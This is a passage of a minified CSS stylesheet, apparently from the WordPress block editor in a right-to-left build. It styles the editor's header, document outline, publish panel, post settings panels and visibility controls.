(min-width:782px){.editor-document-bar__shortcut{display:initial}}.editor-document-bar__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.editor-document-bar__back.components-button.has-icon.has-text:hover{background-color:initial;color:#1e1e1e}.editor-document-bar__icon-layout.editor-document-bar__icon-layout{display:none;margin-right:12px;pointer-events:none;position:absolute}.editor-document-bar__icon-layout.editor-document-bar__icon-layout svg{fill:#949494}@media (min-width:600px){.editor-document-bar__icon-layout.editor-document-bar__icon-layout{display:flex}}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-left:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{align-items:flex-start;background:none;border:none;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;margin:0 -1px 0 0;padding:2px 1px 2px 5px;text-align:right}.document-outline__button:disabled,.document-outline__button[aria-disabled=true]{color:#757575;cursor:default}.document-outline__button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.document-outline__level{background:#ddd;border-radius:3px;color:#1e1e1e;font-size:13px;margin-left:4px;padding:1px 6px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.editor-document-outline.has-no-headings{color:#757575;text-align:center}.editor-document-outline.has-no-headings>svg{margin-top:28px}.editor-document-outline.has-no-headings>p{padding-left:32px;padding-right:32px}.editor-document-tools{align-items:center;display:inline-flex}.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{display:none}@media (min-width:782px){.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{display:inline-flex}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{display:inline-flex}@media not (prefers-reduced-motion){.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.editor-document-tools .block-editor-list-view{display:none}@media (min-width:600px){.editor-document-tools .block-editor-list-view{display:flex}}.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{height:32px;min-width:32px;padding:4px}.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{display:none}.editor-document-tools__left{align-items:center;display:inline-flex;gap:8px}.editor-document-tools__left:not(:last-child){margin-inline-end:8px}.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{padding:0 8px;width:auto}.show-icon-labels .editor-document-tools__left>*+*{margin-right:8px}.editor-editor-interface .entities-saved-states__panel-header{height:61px}.editor-editor-interface .interface-interface-skeleton__content{isolation:isolate}.editor-visual-editor{flex:1 0 auto}.components-editor-notices__dismissible,.components-editor-notices__pinned{color:#1e1e1e;left:0;position:relative;right:0;top:0}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.entities-saved-states__panel-header{background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;height:60px;padding-left:16px;padding-right:16px}.entities-saved-states__text-prompt{padding:16px 16px 4px}.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{display:block;margin-bottom:12px}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt{padding:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body{border:0;padding-left:0;padding-right:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2{margin-bottom:0;margin-left:-16px;margin-right:-16px}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2 button{font-size:11px;text-transform:uppercase}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--header-wrapper{display:none}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--changes-count{margin-bottom:8px;margin-top:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-footer{margin-top:16px}.entities-saved-states__change-control{flex:1}.entities-saved-states__changes{font-size:13px;list-style:disc;margin:4px 24px 0 16px}.entities-saved-states__changes li{margin-bottom:4px}.editor-error-boundary{background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;margin:60px auto auto;max-width:780px;padding:1em}.editor-header{align-items:center;background:#fff;display:grid;grid-auto-flow:row;grid-template:auto/60px minmax(0,max-content) minmax(min-content,1fr) 60px;height:60px;justify-content:space-between;max-width:100vw}.editor-header:has(>.editor-header__center){grid-template:auto/60px min-content 1fr min-content 60px}@media (min-width:782px){.editor-header:has(>.editor-header__center){grid-template:auto/60px minmax(min-content,2fr) 2.5fr minmax(min-content,2fr) 60px}}@media (min-width:480px){.editor-header{gap:16px}}@media (min-width:280px){.editor-header{flex-wrap:nowrap}}.editor-header__toolbar{align-items:center;clip-path:inset(-2px);display:flex;grid-column:1/3;min-width:0}.editor-header__toolbar>:first-child{margin-inline:16px 0}.editor-header__back-button+.editor-header__toolbar{grid-column:2/3}@media (min-width:480px){.editor-header__back-button+.editor-header__toolbar>:first-child{margin-inline:0}.editor-header__toolbar{clip-path:none}}.editor-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.editor-header__toolbar .table-of-contents{display:block}}.editor-header__toolbar .editor-collapsible-block-toolbar,.editor-header__toolbar .editor-collapsible-block-toolbar.is-collapsed~.editor-collapsible-block-toolbar__toggle{margin-inline:8px 0}.editor-header__center{align-items:center;clip-path:inset(-2px);display:flex;grid-column:3/4;justify-content:center;min-width:0}@media (max-width:479px){.editor-header__center>:first-child{margin-inline-start:8px}.editor-header__center>:last-child{margin-inline-end:8px}}.editor-header__settings{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;grid-column:3/-1;justify-self:end;padding-left:4px}.editor-header:has(>.editor-header__center) .editor-header__settings{grid-column:4/-1}@media (min-width:600px){.editor-header__settings{padding-left:8px}}.show-icon-labels .editor-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.show-icon-labels .editor-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.show-icon-labels .editor-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label);white-space:nowrap}.show-icon-labels .editor-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:initial}.show-icon-labels .editor-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.show-icon-labels .editor-header .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg{display:block}.show-icon-labels .editor-header .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after{content:none}.show-icon-labels .editor-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:8px;padding-right:8px}@media (min-width:600px){.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:12px;padding-right:12px}}.show-icon-labels .editor-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .editor-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{content:none}.show-icon-labels .editor-header__toolbar .block-editor-block-mover{border-right:none}.show-icon-labels .editor-header__toolbar .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.show-icon-labels .editor-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;right:calc(50% + 1px);width:calc(100% - 24px)}.show-icon-labels.interface-pinned-items{border-bottom:1px solid #ccc;display:block;margin:0 -12px;padding:6px 12px 12px}.show-icon-labels.interface-pinned-items>.components-button.has-icon{justify-content:flex-start;margin:0;padding:6px 8px 6px 6px;width:14.625rem}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-right:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-left:8px}@media (min-width:480px){.editor-header__post-preview-button{display:none}}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header{border-bottom:none}.editor-editor-interface.is-distraction-free .editor-header{background-color:#fff;width:100%}@media (min-width:782px){.editor-editor-interface.is-distraction-free .editor-header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);position:absolute}}.editor-editor-interface.is-distraction-free .editor-header>.edit-post-header__settings>.edit-post-header__post-preview-button{visibility:hidden}.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-preview-dropdown,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-zoom-out-toggle,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.interface-pinned-items,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__toolbar .editor-document-tools__document-overview-toggle{display:none}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within{opacity:1!important}.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within div{transform:translateX(0) translateZ(0)!important}.editor-editor-interface.is-distraction-free .components-editor-notices__dismissible{position:absolute;z-index:35}.components-popover.more-menu-dropdown__content{z-index:99998}.editor-inserter-sidebar{box-sizing:border-box;display:flex;flex-direction:column;height:100%}.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{box-sizing:inherit}.editor-inserter-sidebar__content{height:100%}.editor-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.editor-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.editor-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.editor-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.editor-keyboard-shortcut-help-modal__shortcut:empty{display:none}.editor-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.editor-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.editor-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.editor-keyboard-shortcut-help-modal__shortcut-key-combination+.editor-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.editor-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.editor-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.editor-list-view-sidebar{height:100%}@media (min-width:782px){.editor-list-view-sidebar{width:350px}}.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{height:100%;overflow:auto;padding:4px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{background-color:initial}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{scrollbar-color:#949494 #0000}@media (hover:none){.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{scrollbar-color:#949494 #0000}}.editor-list-view-sidebar__list-view-container{display:flex;flex-direction:column;height:100%}.editor-list-view-sidebar__tab-panel{height:100%}.editor-list-view-sidebar__outline{border-bottom:1px solid #ddd;display:flex;flex-direction:column;gap:8px;padding:16px}.editor-list-view-sidebar__outline>div>span:first-child{display:inline-block;width:90px}.editor-list-view-sidebar__outline>div>span{color:#757575;font-size:12px;line-height:1.4}.editor-post-order__panel,.editor-post-parent__panel{padding-top:8px}.editor-post-order__panel .editor-post-panel__row-control>div,.editor-post-parent__panel .editor-post-panel__row-control>div{width:100%}.editor-post-order__panel-dialog .editor-post-order,.editor-post-order__panel-dialog .editor-post-parent,.editor-post-parent__panel-dialog .editor-post-order,.editor-post-parent__panel-dialog .editor-post-parent{margin:8px}.editor-post-order__panel-dialog .components-popover__content,.editor-post-parent__panel-dialog .components-popover__content{min-width:320px}.editor-post-author__panel{padding-top:8px}.editor-post-author__panel .editor-post-panel__row-control>div{width:100%}.editor-post-author__panel-dialog .editor-post-author{margin:8px;min-width:248px}.editor-action-modal{z-index:1000001}.editor-post-card-panel__content{flex-grow:1}.editor-post-card-panel__title{width:100%}.editor-post-card-panel__title.editor-post-card-panel__title{align-items:center;column-gap:8px;display:flex;flex-wrap:wrap;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:500;line-height:20px;margin:0;row-gap:4px;word-break:break-word}.editor-post-card-panel__icon{flex:0 0 24px;height:24px;width:24px}.editor-post-card-panel__header{display:flex;justify-content:space-between}.editor-post-card-panel.has-description .editor-post-card-panel__header{margin-bottom:8px}.editor-post-card-panel .editor-post-card-panel__title-name{padding:2px 0}.editor-post-card-panel .editor-post-card-panel__description,.editor-post-content-information{color:#757575}.editor-post-content-information .components-text{color:inherit}.editor-post-discussion__panel-dialog .editor-post-discussion{margin:8px;min-width:248px}.editor-post-discussion__panel-toggle .components-text{color:inherit}.editor-post-discussion__panel-dialog .components-popover__content{min-width:320px}.editor-post-excerpt__textarea{margin-bottom:10px;width:100%}.editor-post-excerpt__dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-post-featured-image{padding:0}.editor-post-featured-image .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-post-featured-image__container{position:relative}.editor-post-featured-image__container:focus .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:hover .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image){opacity:1}.editor-post-featured-image__container .editor-post-featured-image__actions.editor-post-featured-image__actions-missing-image{margin-top:16px;opacity:1}.editor-post-featured-image__container .components-drop-zone__content{border-radius:2px}.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner{align-items:center;display:flex;gap:8px}.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner .components-drop-zone__content-icon{margin:0}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{box-shadow:0 0 0 0 var(--wp-admin-theme-color);display:flex;justify-content:center;min-height:40px;outline-offset:-1px;overflow:hidden;padding:0;width:100%}.editor-post-featured-image__preview{height:auto!important;outline:1px solid #0000001a}.editor-post-featured-image__preview .editor-post-featured-image__preview-image{aspect-ratio:2/1;object-fit:cover;object-position:50% 50%;width:100%}.editor-post-featured-image__toggle{box-shadow:inset 0 0 0 1px #ccc}.editor-post-featured-image__toggle:focus:not(:disabled){box-shadow:0 0 0 currentColor inset,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){bottom:0;opacity:0;padding:8px;position:absolute}@media not (prefers-reduced-motion){.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){transition:opacity 50ms ease-out}}.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image) .editor-post-featured-image__action{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#ffffffbf}.editor-post-featured-image__actions .editor-post-featured-image__action{flex-grow:1;justify-content:center}[class].editor-post-format__suggestion{margin:4px 0 0}.editor-post-format__dialog .editor-post-format__dialog-content{margin:8px;min-width:248px}.editor-post-last-edited-panel{color:#757575}.editor-post-last-edited-panel .components-text{color:inherit}.editor-post-last-revision__title{font-weight:500;width:100%}.editor-post-last-revision__title.components-button.has-icon{height:100%;justify-content:space-between}.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{background:#f0f0f0}.editor-post-last-revision__title.components-button.has-icon:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-panel__body.is-opened.editor-post-last-revision__panel{height:48px;padding:0}.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{padding:16px}.editor-private-post-last-revision__button{display:inline-block}.editor-post-locked-modal__buttons{margin-top:24px}.editor-post-locked-modal__avatar{border-radius:50%;margin-top:16px;min-width:auto!important}.editor-post-panel__row{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.editor-post-panel__row-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.editor-post-panel__row-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.editor-post-panel__row-control .components-button{height:auto;max-width:100%;min-height:32px;text-align:right;text-wrap:balance;text-wrap:pretty;white-space:normal}.editor-post-panel__row-control .components-dropdown{max-width:100%}.editor-post-panel__section{padding:16px}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content>.components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{align-content:space-between;align-items:center;background:#fff;border-bottom:1px solid #ddd;display:flex;height:61px;padding-left:16px;padding-right:16px}.editor-post-publish-panel__header .components-button{justify-content:center;width:100%}.editor-post-publish-panel__header .has-icon{margin-right:auto;width:auto}.components-site-card{align-items:center;display:flex;margin:16px 0}.components-site-icon{border:none;border-radius:2px;flex-shrink:0;height:36px;margin-left:12px;width:36px}.components-site-name{display:block;font-size:14px}.components-site-home{color:#757575;display:block;font-size:12px;word-break:break-word}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{justify-content:center;padding-right:4px}.editor-post-publish-panel__header-cancel-button{padding-left:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{align-items:center;display:inline-flex}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-left:-4px}.editor-post-publish-panel__link{font-weight:400;padding-right:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-left:-16px;margin-right:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.editor-post-publish-panel__prepublish .components-panel__body-title .components-button{align-items:flex-start;text-wrap:balance;text-wrap:pretty}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{align-content:space-between;display:flex;flex-wrap:wrap;gap:16px}.post-publish-panel__postpublish-buttons .components-button{flex:1;justify-content:center}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address-container{align-items:flex-end;display:flex;margin-bottom:16px}.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{flex:1}.post-publish-panel__postpublish-post-address-container input[readonly]{background:#f0f0f0;border-color:#ccc;height:36px;overflow:hidden;padding:12px;text-overflow:ellipsis}.post-publish-panel__postpublish-post-address__copy-button-wrap{flex-shrink:0;margin-right:16px}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}@media screen and (max-width:782px){.post-publish-panel__postpublish-post-address__button-wrap .components-button{height:40px}}.editor-post-publish-panel{background:#fff;bottom:0;left:0;overflow:auto;position:fixed;right:0;top:46px;z-index:100001}@media (min-width:782px){.editor-post-publish-panel{border-right:1px solid #ddd;right:auto;top:32px;width:281px;z-index:99998}}@media (min-width:782px) and (not (prefers-reduced-motion)){.editor-post-publish-panel{animation:editor-post-publish-panel__slide-in-animation .1s forwards;transform:translateX(-100%)}}@media (min-width:782px){body.is-fullscreen-mode .editor-post-publish-panel{top:0}[role=region]:focus .editor-post-publish-panel{transform:translateX(0)}}@keyframes editor-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.editor-post-saved-state{align-items:center;color:#757575;display:flex;overflow:hidden;padding:12px 4px;white-space:nowrap;width:28px}.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{background:#0000;color:#757575}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-left:8px}@media (min-width:600px){.editor-post-saved-state{padding:8px 12px;text-indent:inherit;width:auto}.editor-post-saved-state svg{margin-left:0}}.editor-post-save-draft.has-text.has-icon svg{margin-left:0}.editor-post-schedule__panel-dropdown{width:100%}.editor-post-schedule__dialog .components-popover__content{min-width:320px;padding:16px}.editor-post-status{max-width:100%}.editor-post-status.is-read-only{padding:6px 12px}.editor-post-status .editor-post-status__toggle.editor-post-status__toggle{padding-bottom:4px;padding-top:4px}.editor-change-status__password-fieldset,.editor-change-status__publish-date-wrapper{border-top:1px solid #e0e0e0;padding-top:16px}.editor-change-status__content .components-popover__content{min-width:320px;padding:16px}.editor-change-status__content .editor-change-status__password-legend{margin-bottom:8px;padding:0}.editor-change-status__content p.components-base-control__help:has(.components-checkbox-control__help){margin-top:4px}.editor-post-sticky__checkbox-control{border-top:1px solid #e0e0e0;padding-top:16px}.editor-post-sync-status__value{padding:6px 12px 6px 0}.editor-post-taxonomies__hierarchical-terms-list{margin-right:-6px;margin-top:-6px;max-height:14em;overflow:auto;padding-right:6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-choice:last-child{margin-bottom:4px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-right:16px;margin-top:8px}.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{margin-bottom:4px}.editor-post-taxonomies__flat-term-most-used-list{margin:0}.editor-post-taxonomies__flat-term-most-used-list li{display:inline-block;margin-left:8px}.editor-post-template__swap-template-modal{z-index:1000001}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:4}}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-post-template__dropdown .components-popover__content{min-width:240px}.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{background:inherit;color:inherit}@media (min-width:782px){.editor-post-template__create-form{width:320px}}.editor-post-template__classic-theme-dropdown{padding:8px}textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;width:100%}@media not (prefers-reduced-motion){textarea.editor-post-text-editor{transition:border .1s ease-out,box-shadow .1s linear}}@media (min-width:600px){textarea.editor-post-text-editor{font-size:15px!important;padding:24px}}textarea.editor-post-text-editor:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}textarea.editor-post-text-editor::-webkit-input-placeholder{color:#1e1e1e9e}textarea.editor-post-text-editor::-moz-placeholder{color:#1e1e1e9e}textarea.editor-post-text-editor:-ms-input-placeholder{color:#1e1e1e9e}.editor-post-title.is-raw-text{margin-bottom:24px;margin-top:2px;max-width:none}.editor-post-url__panel-dropdown{width:100%}.editor-post-url__panel-dialog .editor-post-url{margin:8px;min-width:248px}.editor-post-url__front-page-link,.editor-post-url__link{direction:ltr;word-break:break-word}.editor-post-url__front-page-link{padding:6px 12px 6px 0}.editor-post-url__link-slug{font-weight:600}.editor-post-url__input input.components-input-control__input{padding-inline-start:0!important}.editor-post-url__panel-toggle{word-break:break-word}.editor-post-url__intro{margin:0}.editor-post-url__permalink{margin-bottom:0;margin-top:8px}.editor-post-url__permalink-visual-label{display:block}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin-left:12px;margin-top:2px;max-width:24px;min-width:24px;padding:6px 8px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{transition:box-shadow .1s linear}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{height:16px;max-width:16px;min-width:16px;width:16px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:12px}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{height:8px;width:8px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset 